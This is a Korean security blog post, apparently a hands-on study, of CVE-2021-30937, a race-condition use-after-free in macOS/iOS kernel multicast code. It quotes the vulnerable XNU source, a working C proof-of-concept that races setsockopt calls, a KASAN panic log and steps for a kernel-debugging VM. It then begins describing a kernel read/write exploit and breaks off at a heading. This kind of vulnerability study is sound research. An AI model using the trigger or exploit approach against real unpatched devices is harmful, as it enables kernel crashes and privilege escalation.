{"id":4024,"date":"2025-11-25T14:30:33","date_gmt":"2025-11-25T05:30:33","guid":{"rendered":"https:\/\/h4ck.kr\/?p=4024"},"modified":"2025-11-25T14:31:13","modified_gmt":"2025-11-25T05:31:13","slug":"%ec%8b%a4%ec%8a%b5-cve-2021-30937multicast_bytecopy-%ec%9d%b4%ed%95%b4%ed%95%98%ea%b8%b0-macos-12-0-1-ios-15","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=4024","title":{"rendered":"[\uc2e4\uc2b5] CVE-2021-30937(multicast_bytecopy) \uc774\ud574\ud558\uae30 (macOS 12.0.1 \/ iOS 15)"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h1>\ubc84\uadf8 \uc54c\uc544\ubcf4\uae30<\/h1>\n<p><code>bsd\/netinet\/in_mcast.c<\/code>\ud30c\uc77c\uc758 <code>inp_join_group<\/code> \ud568\uc218\uc5d0\uc11c \ub808\uc774\uc2a4 \ucee8\ub514\uc158\uc73c\ub85c heap use-after-free\uac00 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ucde8\uc57d\uc810\uc774\ub2e4.<\/p>\n<p>\ud574\ub2f9 \ucde8\uc57d\uc810\uc740 \ud2b9\uc815 \uc870\uac74\uc5d0\uc11c \ubc1c\uc0dd\ud558\ub294\ub370, \ud328\uce58\ub418\uc9c0 \uc54a\uc740 <a href=\"https:\/\/github.com\/apple-oss-distributions\/xnu\/blob\/xnu-8019.41.5\">xnu-8019.41.5<\/a> \uc18c\uc2a4\ucf54\ub4dc\ub97c \ucc38\uace0\ud558\uba74\uc11c \uc0b4\ud3b4\ubcf4\uaca0\ub2e4.<\/p>\n<p><code>inp_join_group<\/code> \uc5d0\uc11c \uc0c8\ub85c\uc6b4 membership \uc5d4\ud2b8\ub9ac\ub97c \uc0dd\uc131\ud560 \ub54c, \ud574\ub2f9 \ud568\uc218\ub294 <strong>[4]\ubc88 \ud56d\ubaa9<\/strong>\uc778 <code>socket_unlock(inp-&gt;inp_socket, 0);<\/code> \uc5d0 \uc758\ud574 <code>socket<\/code>\uacfc <code>ip_moptions<\/code> lock\uc744 \ud574\uc81c\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/image.png\" alt=\"image.png\"><\/p>\n<p>\uc774\ub7ec\ud55c \uc7a0\uae08 \ud328\ud134\uc740 \ub2e4\uc74c\uacfc \uac19\uc740 \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub2e4.<\/p>\n<ol>\n<li>\n<p>\uc7a0\uae08\uc744 \ud574\uc81c\ud558\uae30 \uc804\uc5d0 \ud568\uc218\ub294 <code>imo_mfilters<\/code> \ubc84\ud37c \ub0b4\ubd80\uc758 \uc8fc\uc18c\ub97c \ub85c\uceec \ubcc0\uc218 <code>imf<\/code>**[3]**\uc5d0 \ud560\ub2f9\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-09-27_at_5.18.06_PM.png\" alt=\"Screenshot 2025-09-27 at 5.18.06\u202fPM.png\"><\/p>\n<\/li>\n<li>\n<p>\uc7a0\uae08\uc774 \ud574\uc81c\ub418\uba74**[4]**, \ub3d9\uc2dc \uc2e4\ud589\ub418\ub294 \ub2e4\ub978 <code>inp_join_group<\/code> \ud638\ucd9c\uc774 <code>imo_membership<\/code>\uacfc <code>imo_mfilters<\/code>\ub97c \uc7ac\ud560\ub2f9\ud560 \uc218 \uc788\uc5b4 <code>imf<\/code> \ud3ec\uc778\ud130\uac00 \uc720\ud6a8\ud558\uc9c0 \uc54a\uc744 \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-09-27_at_5.18.51_PM.png\" alt=\"Screenshot 2025-09-27 at 5.18.51\u202fPM.png\"><\/p>\n<\/li>\n<li>\n<p>\uadf8\ub7f0 \ub2e4\uc74c, \uadf8 \ub315\uae00\ub9c1 \ud3ec\uc778\ud130\ub294 <code>in_joingroup<\/code>[5]\uc5d0\uc11c \uc811\uadfc\ub418\uba70,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-09-27_at_5.23.53_PM.png\" alt=\"Screenshot 2025-09-27 at 5.23.53\u202fPM.png\"><\/p>\n<\/li>\n<li>\n<p>\uc7a0\uae08\uc744 \ub2e4\uc2dc \ud68d\ub4dd\ud55c \ud6c4\uc5d0\ub294 <code>imf_commit<\/code>[7]\uc5d0\uc11c \uc811\uadfc\ub41c\ub2e4.\n\ub9c8\uc9c0\ub9c9\uc5d0\ub294 \ucc38\uc870\ub41c \uac1d\uccb4\uc5d0 \uc4f0\uae30\ub97c \uc218\ud589\ud558\ubbc0\ub85c \uc774 \ubc84\uadf8\ub97c \uc545\uc6a9\ud574 \ud799\uc744 \uc190\uc0c1\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/image%201.png\" alt=\"image.png\"><\/p>\n<p>\ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud558\ub294 \ucf54\ub4dc\ub294 \uc544\ub798\uc640 \uac19\ub2e4.\n\uc8fc\uc11d\uc5d0\ub294 \uac01 \uc124\uba85\uc5d0 [n] \ud615\uc2dd\uc73c\ub85c, \ud544\uc694\ud55c \ubc88\ud638\ub97c \ub9e4\uaca8\ub450\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/*\n * Join an IPv4 multicast group, possibly with a source.\n *\n * NB: sopt-&gt;sopt_val might point to the kernel address space. This means that\n * we were called by the IPv6 stack due to the presence of an IPv6 v4 mapped\n * address. In this scenario, sopt_p points to kernproc and sooptcopyin() will\n * just issue an in-kernel memcpy.\n *\/\nint\ninp_join_group(struct inpcb *inp, struct sockopt *sopt)\n{\n\n\t\/\/...\n\n\t\/*\n\t * Begin state merge transaction at socket layer.\n\t *\/\n\n\tif (is_new) {\n\t\tif (imo-&gt;imo_num_memberships == imo-&gt;imo_max_memberships) {\n\t\t\terror = imo_grow(imo, 0);\t\/\/ [1]\n\t\t\tif (error) {\n\t\t\t\tgoto out_imo_locked;\n\t\t\t}\n\t\t}\n\t\t\/*\n\t\t * Allocate the new slot upfront so we can deal with\n\t\t * grafting the new source filter in same code path\n\t\t * as for join-source on existing membership.\n\t\t *\/\n\t\tidx = imo-&gt;imo_num_memberships; \/\/ [2]\n\t\timo-&gt;imo_membership[idx] = NULL;\n\t\timo-&gt;imo_num_memberships++;\n\t\tVERIFY(imo-&gt;imo_mfilters != NULL);\n\t\timf = &amp;imo-&gt;imo_mfilters[idx];  \/\/ [3]\n\t\tVERIFY(RB_EMPTY(&amp;imf-&gt;imf_sources));\n\t}\n\n    \/\/ ...\n\n\t\/*\n\t * Begin state merge transaction at IGMP layer.\n\t *\/\n\tif (is_new) {\n\t\t\/*\n\t\t * Unlock socket as we may end up calling ifnet_ioctl() to join (or leave)\n\t\t * the multicast group and we run the risk of a lock ordering issue\n\t\t * if the ifnet thread calls into the socket layer to acquire the pcb list\n\t\t * lock while the input thread delivers multicast packets\n\t\t *\/\n\t\tIMO_ADDREF_LOCKED(imo);\n\t\tIMO_UNLOCK(imo);    \/\/ [4]\n\t\tsocket_unlock(inp-&gt;inp_socket, 0);  \/\/ [4]\n\n\t\tVERIFY(inm == NULL);\n\t\terror = in_joingroup(ifp, &amp;gsa-&gt;sin_addr, imf, &amp;inm);   \/\/ [5]\n\n\t\tsocket_lock(inp-&gt;inp_socket, 0);\n\t\tIMO_REMREF(imo);\n\t\tIMO_LOCK(imo);\n\n\t\tVERIFY(inm != NULL || error != 0);\n\t\tif (error) {\n\t\t\tgoto out_imo_free;\n\t\t}\n\t\timo-&gt;imo_membership[idx] = inm; \/* from in_joingroup() *\/   \/\/ [6]\n\t} else {\n        \/\/ ...\n\t}\n\nout_imf_rollback:\n\tif (error) {\n\t\timf_rollback(imf);\n\t\tif (is_new) {\n\t\t\timf_purge(imf);\n\t\t} else {\n\t\t\timf_reap(imf);\n\t\t}\n\t} else {\n\t\timf_commit(imf);    \/\/ [7]\n\t}\n    \/\/ ...\n}\n\n\/*\n * Leave an IPv4 multicast group on an inpcb, possibly with a source.\n *\n * NB: sopt-&gt;sopt_val might point to the kernel address space. Refer to the\n * block comment on top of inp_join_group() for more information.\n *\/\nint\ninp_leave_group(struct inpcb *inp, struct sockopt *sopt)\n{\n\t\/\/ ...\n\n\tIMO_LOCK(imo);\n\tidx = imo_match_group(imo, ifp, gsa);   \/\/ [8]\n\tif (idx == (size_t)-1) {\n\t\terror = EADDRNOTAVAIL;\n\t\tgoto out_locked;\n\t}\n\tinm = imo-&gt;imo_membership[idx];\n\timf = &amp;imo-&gt;imo_mfilters[idx];\n\n    \/\/ ...\n\n\tif (is_final) {\n\t\t\/* Remove the gap in the membership array. *\/\n\t\tVERIFY(inm == imo-&gt;imo_membership[idx]);\n\t\timo-&gt;imo_membership[idx] = NULL;\n\n\t\t\/*\n\t\t * See inp_join_group() for why we need to unlock\n\t\t *\/\n\t\tIMO_ADDREF_LOCKED(imo);\n\t\tIMO_UNLOCK(imo);    \/\/ [9]\n\t\tsocket_unlock(inp-&gt;inp_socket, 0);\n\n\t\tINM_REMREF(inm);\n\n\t\tsocket_lock(inp-&gt;inp_socket, 0);\n\t\tIMO_REMREF(imo);\n\t\tIMO_LOCK(imo);\n\n\t\tfor (++idx; idx &lt; imo-&gt;imo_num_memberships; ++idx) {    \/\/ [10]\n\t\t\timo-&gt;imo_membership[idx - 1] = imo-&gt;imo_membership[idx];\n\t\t\timo-&gt;imo_mfilters[idx - 1] = imo-&gt;imo_mfilters[idx];\n\t\t}\n\t\timo-&gt;imo_num_memberships--;\n\t}\n    \/\/ ...\n}\n<\/code><\/pre>\n<h1>\ud2b8\ub9ac\uac70 \ubc29\ubc95<\/h1>\n<p>VMware \ud658\uacbd\uc5d0\uc11c \uad6c\ub3d9\uc911\uc778 \uc778\ud154\ub9e5\uc778 macOS 12.0.1 Moneterey\uc5d0\uc11c POC \ucf54\ub4dc\ub97c \uc2e4\ud589\uc2dc\ucf1c\ubcf4\uc558\ub2e4.<\/p>\n<p>\ubc84\uadf8\uac00 \ud2b8\ub9ac\uac70\ub418\ub294\uc9c0 \uc54c\uc544\ubcf4\uae30 \uc704\ud5e4\uc11c\ub294 KASAN\uc774 \uc801\uc6a9\ub41c \ucee4\ub110\uc774 \ud544\uc694\ud558\ub2e4.<\/p>\n<p>poc \uad6c\ud604\ubc29\ubc95<\/p>\n<ol>\n<li>main \uc4f0\ub808\ub4dc\uc640 thread_func \uc4f0\ub808\ub4dc, \ucd1d 2\uac1c\uc758 \uc4f0\ub808\ub4dc\uac00 \ub3d9\uc2dc\uc5d0 \uac19\uc740 \uc18c\ucf13 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\uc778 fd\uc5d0 setsockopt \ud568\uc218\ub85c <code>IP_ADD_MEMBERSHIP<\/code> \uc778\uc790\uc640 \ud568\uaed8 \ud638\ucd9c\ud558\ub824\uace0 \ud55c\ub2e4.<\/li>\n<li>\uadf8 \uc804\uc5d0, \ub808\uc774\uc2f1 \uc911\uc778 \uc2a4\ub808\ub4dc\ub4e4 \uc911 \ud558\ub098\uac00 <code>imo_grow<\/code>**[1]**\ub97c \ud638\ucd9c\uc2dc\ucf1c\uc57c \uc7ac\uad6c\ud604\uc774 \uac00\ub2a5\ud558\ub2e4. \uc774\ub97c \uc704\ud574   <code>imo_mfilters<\/code>\ub97c \uac00\ub4dd \ucc44\uc6cc\uc57c\ud558\ub294 \uc870\uac74\uc774 \uc788\ub2e4. \ub530\ub77c\uc11c <code>for (int j = 0; j &lt; IP_MIN_MEMBERSHIPS - 1; ++j) { \u2026<\/code> \ucf54\ub4dc\uc640 \uac19\uc774 \uac00\ub4dd\ucc44\uc6b0\uace0 \uc788\ub294 \uac83\ucc98\ub7fc \ubcf4\uc778\ub2e4.<\/li>\n<li><code>pthread_create<\/code> \ud568\uc218\ub85c \uc4f0\ub808\ub4dc \uc0dd\uc131 \ubc0f \ub3d9\uae30\ud654\ub97c 100000\ubc88 \ub9cc\ud07c \uacc4\uc18d \uc9c4\ud589\ud55c\ub2e4.\n\ub450 \uc2a4\ub808\ub4dc\uc758 <code>setsockopt<\/code> \ud638\ucd9c\uc774 \ucee4\ub110 \ub0b4\uc5d0\uc11c \uac70\uc758 \uc815\ud655\ud788 \ub3d9\uc2dc\uc5d0 \uc2e4\ud589\ub418\ub294 \uc21c\uac04\uc744 \ub9cc\ub4e4\uc5b4\ub0b4\uae30 \uc704\ud574 \ub808\uc774\uc2a4\ucee8\ub514\uc158\uc744 \ubc1c\uc0dd\uc2dc\ud0a8\ub2e4.<\/li>\n<\/ol>\n<ul>\n<li>poc.m<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">#include &lt;arpa\/inet.h&gt;  \n#include &lt;pthread.h&gt;  \n#include &lt;unistd.h&gt;  \n  \nvolatile int lock_a;  \nvolatile int lock_b;  \n  \nint fd;  \nstruct sockaddr_in saddr;  \n  \nstruct ip_mreq filler_group;  \nstruct ip_mreq group_a;  \nstruct ip_mreq group_b;  \n  \nvoid* thread_func(void* arg) {  \n  lock_a = 1;  \n  while (lock_b == 0) {}  \n  \n  setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &amp;group_a, sizeof(group_a));  \n  \n  return NULL;  \n}  \n  \nint main() {  \n  int status;  \n  pthread_t th;  \n  \n  saddr.sin_family = AF_INET;  \n  \n  group_a.imr_multiaddr.s_addr = inet_addr(&quot;224.0.0.1&quot;);  \n  group_b.imr_multiaddr.s_addr = inet_addr(&quot;224.0.0.2&quot;);  \n  \n  for (int i = 0; i &lt; 100000; ++i) {  \n    fd = socket(AF_INET, SOCK_DGRAM, 0);  \n  \n    status = bind(fd, (struct sockaddr *) &amp;saddr, sizeof(saddr));  \n  \n    for (int j = 0; j &lt; IP_MIN_MEMBERSHIPS - 1; ++j) {  \n      filler_group.imr_multiaddr.s_addr = htonl(ntohl(inet_addr(&quot;224.0.0.3&quot;)) + j);  \n      status = setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &amp;filler_group, sizeof(filler_group));  \n    }  \n  \n    pthread_create(&amp;th, NULL, thread_func, NULL);  \n  \n    while (lock_a == 0) {}  \n    lock_b = 1;  \n  \n    status = setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &amp;group_b, sizeof(group_b));  \n  \n    pthread_join(th, NULL);  \n  \n    close(fd);  \n  }  \n}  \n<\/code><\/pre>\n<p>\uadf8 \uacb0\uacfc, \uc544\ub798\uc640 \uac19\uc774 \ud06c\ub798\uc2dc\uac00 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p>\uc774\ubbf8 \ud574\uc81c\ub41c(HEAP_FREED) \ud799 \uba54\ubaa8\ub9ac\ub97c 8\ubc14\uc774\ud2b8 \uc77d\uc73c\ub824\ub294 \uacfc\uc815\uc774 \ud3ec\ucc29\ub418\uba70,\n<code>inm_merge<\/code>\uc5d0\uc11c imf \ud3ec\uc778\ud130\uac00 \ud574\uc81c\ub41c \uba54\ubaa8\ub9ac \uc601\uc5ed\uc784\uc744 \ub098\ud0c0\ub0b8\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/image%202.png\" alt=\"image.png\"><\/p>\n<pre><code class=\"language-nasm\">timestamp:2025-09-27 14:32:14.00 +0900,bug_type:210,os_version:macOS 12.0.1 (21A559)\nincident_id:36C464C0-8EFC-4E8C-907B-904068C37459\nmacOSProcessedStackshotData:bm8gb24gZGlzayBwYW5pYyBzdGFja3Nob3QgZm91bmQgaW4gY29yZWZpbGU=\nmacOSPanicString:panic(cpu 0 caller 0xffffff8001ce3823): KASan: invalid 8-byte load from 0xffffffa00b4232e0 [HEAP_FREED]\n Shadow             0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f\n fffff7f401684600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f401684610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f401684620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f401684630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f401684640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f401684650: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd \n fffff7f401684660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f401684670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f401684680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f401684690: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n fffff7f4016846a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd \n ;\n\n @kasan-report.c:114\nPanicked task 0xffffff88ecbd3298: 1 threads: pid 466: poc\nBacktrace (CPU 0), panicked thread: 0xffffff88cb5c6340, Frame : Return Address\n0xffffffb050e8e650 : 0xffffff80004384b4 \/\/ handle_debugger_trap+0x374\n0xffffffb050e8e6a0 : 0xffffff8000843564 \/\/ kdp_i386_trap+0x154\n0xffffffb050e8e6e0 : 0xffffff800082ce3c \/\/ kernel_trap+0x9fc\n0xffffffb050e8e770 : 0xffffff800084bba0 \/\/ trap_from_kernel+0x26\n0xffffffb050e8e790 : 0xffffff8000437d90 \/\/ DebuggerTrapWithState+0xd0 \n0xffffffb050e8e8c0 : 0xffffff8000438b60 \/\/ panic_trap_to_debugger+0x2f0\n0xffffffb050e8e930 : 0xffffff8001cc378a \/\/ panic+0x54\n0xffffffb050e8e9a0 : 0xffffff8001ce3823 \/\/ kasan_report_internal_cold_1+0x23\n0xffffffb050e8e9b0 : 0xffffff8001cba497 \/\/ kasan_report_internal+0x277\n0xffffffb050e8ea30 : 0xffffff8001cb9f6d \/\/ kasan_crash_report+0x2d\n0xffffffb050e8ea60 : 0xffffff8001cba6a5 \/\/ __asan_report_load8+0x15\n0xffffffb050e8ea70 : 0xffffff800105c96f \/\/ inm_merge+0x1abf\n0xffffffb050e8ebf0 : 0xffffff800105db55 \/\/ in_joingroup+0xcc5\n0xffffffb050e8ed70 : 0xffffff800106145d \/\/ inp_join_group+0x163d\n0xffffffb050e8f0f0 : 0xffffff8001064e40 \/\/ inp_setmoptions+0x2a0\n0xffffffb050e8f770 : 0xffffff80010cdc71 \/\/ ip_ctloutput+0x3f1\n0xffffffb050e8f8b0 : 0xffffff800117bfc0 \/\/ udp_ctloutput+0x260\n0xffffffb050e8f9f0 : 0xffffff80015b45c9 \/\/ sosetoptlock+0x629\n0xffffffb050e8fd70 : 0xffffff80015e2789 \/\/ setsockopt+0x319\n0xffffffb050e8fed0 : 0xffffff80018be709 \/\/ unix_syscall64+0x3f9\n0xffffffb050e8ffa0 : 0xffffff800084c366 \/\/ _hndl_unix_scall64+0x16\n\nProcess name corresponding to current thread (0xffffff88cb5c6340): poc\nBoot args: kdp_match_name=en0 wdt=-1 -v kcsuffix=kasan wlan.skywalk.enable=0 dk=0 tlbto_us=0 vti=9 slide=0\n\nMac OS version:\n21A559\n\nKernel version:\nDarwin Kernel Version 21.1.0: Wed Oct 13 17:25:20 PDT 2021; root:xnu_kasan-8019.41.5~1\\\/KASAN_X86_64\nKernel UUID: 2DF7E4D6-1231-35FC-ABB9-0D3858C30DD3\nKernelCache slide: 0x0000000000000000\nKernelCache base:  0xffffff8000200000\nKernel slide:      0x0000000000010000\nKernel text base:  0xffffff8000210000\n__HIB  text base: 0xffffff8000100000\nSystem model name: VMware20,1 (NT951XGK-K04\\\/C)\nSystem shutdown begun: NO\nPanic diags file available: YES (0x0)\nHibernation exit count: 0\n\nSystem uptime in nanoseconds: 193563530907\nLast Sleep:           absolute           base_tsc          base_nano\n  Uptime  : 0x0000002d114e792c\n  Sleep   : 0x0000000000000000 0x0000000000000000 0x0000000000000000\n  Wake    : 0x0000000000000000 0x00000002acf3803a 0x0000000000000000\nZone info:\nForeign   : 0xffffff8006b13000 - 0xffffff8006b23000\nNative    : 0xffffff800c54a000 - 0xffffffa00c54a000\nReadonly  : 0 - 0\nMetadata  : 0xffffffeee4e65000 - 0xffffffef04ec0000\nBitmaps   : 0xffffffef04ec0000 - 0xffffffef066c0000\nlast started kext at 1622081635: &gt;usb.!UHub   1.2 (addr 0xffffff8004e07000, size 172032)\nloaded kexts:\n|SCSITaskUserClient   452.30.4\n@filesystems.apfs   1933.41.2\n&gt;!AAHCIPort   351\n&gt;!AVmxnet3Ethernet   1.0.10\n&gt;!AFileSystemDriver   3.0.1\n@filesystems.tmpfs   1\n@filesystems.lifs   1\n@filesystems.hfs.kext   582.40.4\n@BootCache   40\n@!AFSCompression.!AFSCompressionTypeZlib   1.0.0\n@!AFSCompression.!AFSCompressionTypeDataless   1.0.0d1\n@private.KextAudit   1.0\n&gt;!AHPET   1.8\n&gt;!AACPIButtons   6.1\n&gt;!ARTC   2.0.1\n&gt;!ASMBIOS   2.1\n&gt;!AAPIC   1.7\n@!ASystemPolicy   2.0.0\n@nke.applicationfirewall   402\n|IOKitRegistryCompatibility   1\n|EndpointSecurity   1\n@Dont_Steal_Mac_OS_X   7.0.0\n@kec.!AEncryptedArchive   1\n&gt;usb.!UHub   1.2\n&gt;usb.IOUSBHostHIDDevice   1.2\n&gt;usb.cdc   5.0.0\n&gt;usb.networking   5.0.0\n&gt;usb.!UHostCompositeDevice   1.2\n|IOSCSIMultimediaCommandsDevice   452.30.4\n|IOBD!S!F   1.8\n|IODVD!S!F   1.8\n|IOCD!S!F   1.8\n&gt;!AXsanScheme   3\n|IOAHCISerialATAPI   268\n|IOAHCIBlock!S   333\n&gt;usb.!UXHCIPCI   1.2\n&gt;usb.!UXHCI   1.2\n&gt;usb.!UEHCIPCI   1.2\n&gt;usb.!UUHCIPCI   1.2\n&gt;usb.!UUHCI   1.2\n&gt;usb.!UEHCI   1.2\n|IOAHCI!F   295\n&gt;!ABSDKextStarter   3\n|IOSurface   302.9\n@filesystems.hfs.encodings.kext   1\n&gt;usb.!UHostPacketFilter   1.0\n|IOUSB!F   900.4.2\n|IOHID!F   2.0.0\n&gt;!AEFINVRAM   2.1\n&gt;!AEFIRuntime   2.1\n|IOTimeSync!F   1000.11\n|IONetworking!F   3.4\n&gt;DiskImages   493.0.0\n|IO!B!F   9.0.0\n|IOReport!F   47\n$quarantine   4\n$sandbox   300.0\n@kext.!AMatch   1.0.0d1\n|CoreAnalytics!F   1\n&gt;!ASSE   1.0\n&gt;!AKeyStore   2\n&gt;!UTDM   532.40.7\n|IOUSBMass!SDriver   209.40.6\n|IOSCSIBlockCommandsDevice   452.30.4\n|IO!S!F   2.1\n|IOSCSIArchitectureModel!F   452.30.4\n&gt;!AMobileFileIntegrity   1.0.5\n$!AImage4   4.1.0\n@kext.CoreTrust   1\n&gt;!AFDEKeyStore   28.30\n&gt;!AEffaceable!S   1.0\n&gt;!ACredentialManager   1.0\n&gt;KernelRelayHost   1\n|IOUSBHost!F   1.2\n&gt;!UHostMergeProperties   1.2\n&gt;usb.!UCommon   1.0\n&gt;!ABusPower!C   1.0\n&gt;!ASEPManager   1.0.1\n&gt;IOSlaveProcessor   1\n&gt;!AACPIPlatform   6.1\n&gt;!ASMC   3.1.9\n|IOPCI!F   2.9\n|IOACPI!F   1.4\n&gt;watchdog   1\n@kec.pthread   1\n@kec.Libm   1\n@kec.corecrypto   12.0\n\n<\/code><\/pre>\n<h1>\uc2e4\ub9ac\ucf58 \ub9e5\uc5d0\uc11c VMApple\uc744 \ud1b5\ud55c \ucee4\ub110 \ub514\ubc84\uae45\ud658\uacbd \uad6c\ucd95\ubc29\ubc95<\/h1>\n<p><a href=\"https:\/\/github.com\/JJTech0130\/super-tart\">https:\/\/github.com\/JJTech0130\/super-tart<\/a><\/p>\n<pre><code class=\"language-c\">- GuestOS VM \uc0dd\uc131\n1. SIP \ube44\ud65c\uc131\ud654\n2. nvram \ubd80\ud305 \ud658\uacbd\ubcc0\uc218 \uc911 boot-args\uc5d0 amfi_get_out_of_my_way=1 \uc124\uc815\n3. git clone &lt;super-tart \ud504\ub85c\uc81d\ud2b8 \ub9c1\ud06c&gt;\n4. cd super-tart\n5. .\/scripts\/run-unsigned.sh\n6. .build\/debug\/tart create\n7. .build\/debug\/tart run &lt;ID&gt;\n\n- Host\uc5d0\uc11c \ub514\ubc84\uac70 \uc5f0\uacb0\n(lldb) gdb-remote localhost:8000\n(lldb) file &lt;KDK \ucee4\ub110\ud30c\uc77c&gt;\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/image%203.png\" alt=\"image.png\"><\/p>\n<h1>\uc775\uc2a4\ud50c\ub85c\uc787 (macOS 12.0.1 VMAPPLE)<\/h1>\n<h2><strong>\u26a0\ufe0f\u00a0\ucc38\uace0\uc0ac\ud56d<\/strong><\/h2>\n<p>VMApple\uc5d0\uc11c multicast_byte \uc775\uc2a4\ud50c\ub85c\uc787\uc774 \uc791\ub3d9\ud558\uac8c\ub054 \ub9cc\ub4e4\ub824\uba74 \ucee4\ub110 \ud328\uce58\uac00 \ud544\uc694\ud569\ub2c8\ub2e4.\niOS 15\uc758 \uacbd\uc6b0, KHEAP_DEFAULT\uc640 KHEAP_KEXT \ud0c0\uc785\uc5d0 \ub300\ud55c \ucee4\ub110 \ud560\ub2f9 \uc11c\ube0c\ub9f5\uc744 \uacf5\uc720\ud558\uace0 \uc788\uc73c\ub098,\nVMApple\uc758 \uacbd\uc6b0 \uc5b4\ub5a4 \uc774\uc720\uc5d0\uc120\uc9c0 \uaca9\ub9ac\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\ud328\uce58\ud574\uc57c\ud560 \ud568\uc218\ub294 IOMallocZero_external, IOMalloc_external \ud568\uc218\uc774\uba70,\nKHEAP_KEXT \ub300\uc2e0\uc5d0 KHEAP_DEFAULT \ud0c0\uc785\uc73c\ub85c \ud560\ub2f9\ub418\uac8c\ub054 \ud328\uce58\ud574\uc8fc\uc154\uc57c \ud569\ub2c8\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-24_at_7.18.03_AM.png\" alt=\"Screenshot 2025-11-24 at 7.18.03\u202fAM.png\"><\/p>\n<p>\ub610, \ucee4\ub110 \ud799 \uc8fc\uc18c\uac00 \ud558\ub4dc\ucf54\ub529\ub418\uc5b4\uc788\uc5b4 \ud504\ub85c\ud30c\uc77c\ub9c1\uc774 \ud544\uc694\ud560 \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p><a href=\"https:\/\/github.com\/alfiecg24\/KextRW\">KextRW<\/a>\ub97c VMApple \ud658\uacbd\uc5d0 \ub85c\ub4dc\uc2dc\ud0a4\uace0,\nENABLE_HELPER.h \ud30c\uc77c\uc5d0 \uc788\ub294 ENABLE_HELPER, ENABLE_PROFILLING\ub97c \ud65c\uc131\ud654\ud574\uc8fc\uc2dc\uba74 \ud504\ub85c\ud30c\uc77c\ub9c1\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">seo@seos-Mac ~ % .\/exp\n[!] Try setting macro KHEAP_DATA_MAPPABLE_LOC to 0xfffffe228cb24000\n[!] Try setting macro KHEAP_DEFAULT_MAPPABLE_LOC to 0xfffffe228175c000\n[!] After setting macro, rerun with disable ENABLE_HELPER\n\n^C\n<\/code><\/pre>\n<p>VMApple\uc5d0\uc11c\uc758 \ucee4\ub110 \ud328\uce58 \ubc29\ubc95\uacfc 3rd-party kext \ub85c\ub4dc\uc5d0 \ub300\ud55c \uc790\uc138\ud55c \ubc29\ubc95\uc740 \uc544\ub798 \ub9c1\ud06c\ub97c \ucc38\uace0\ud574\uc8fc\uc138\uc694.\n<a href=\"https:\/\/gist.github.com\/steven-michaud\/fda019a4ae2df3a9295409053a53a65c\">https:\/\/gist.github.com\/steven-michaud\/fda019a4ae2df3a9295409053a53a65c<\/a><\/p>\n<h2>\uc124\uba85<\/h2>\n<p><code>exploit_get_krw_and_kernel_base<\/code> \ud568\uc218\ub97c \ubcf4\ub2e4\uc2dc\ud53c,\n\uc775\uc2a4\ud50c\ub85c\uc787\ud558\ub294 \uc8fc\uc694 \ud568\uc218\ub294 4\uac00\uc9c0\ub85c \uad6c\uc131\ub41c\ub2e4.<\/p>\n<ol>\n<li><code>exploitation_init<\/code><\/li>\n<li><code>get_arb_free_holder<\/code><\/li>\n<li><code>exploitation_get_krw_with_arb_free<\/code><\/li>\n<li><code>exploitation_cleanup<\/code><\/li>\n<\/ol>\n<h2>1. 